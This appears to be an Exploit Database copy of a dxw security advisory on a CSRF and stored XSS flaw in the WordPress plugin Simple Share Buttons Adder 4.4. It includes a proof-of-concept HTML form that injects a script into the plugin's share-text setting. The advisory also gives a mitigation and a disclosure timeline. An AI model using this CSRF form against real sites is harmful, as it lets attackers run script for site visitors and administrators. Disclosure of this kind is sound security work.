WordPress Plugin Simple Share Buttons Adder 4.4 – Multiple Vulnerabilities

• Exploit Database
• 116 阅读

• 作者： dxw
  日期： 2014-06-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33896/
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  Details ================ Software: Simple Share Buttons Adder Version: 4.4 Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/ Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/ CVE: Awaiting assignment CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)   Description ================ CSRF and stored XSS in Simple Share Buttons Adder 4.4   Vulnerability ================ An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.     Proof of concept ================ If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript). <form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\"> <input type=\"hidden\" name=\"ssba_options\" value=\"save\"> <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\"> <input type=\"text\" name=\"ssba_text_placement\" value= \"below\"> <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\"> <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\&apos;foo\&apos;)</script>\"> <input type=\"submit\"> </form>   Mitigations ================ Immediately upgrade to version 4.5 or greater.   Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/   Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.   This vulnerability will be published if we do not receive a response to this report with 14 days.   Timeline ================   2014-06-19: Discovered 2014-06-25: Reported to WP.org and author via email 2014-06-26: Author reports issue fixed in version 4.5       Discovered by dxw: ================ Duncan Stuart Please visit security.dxw.com for more information.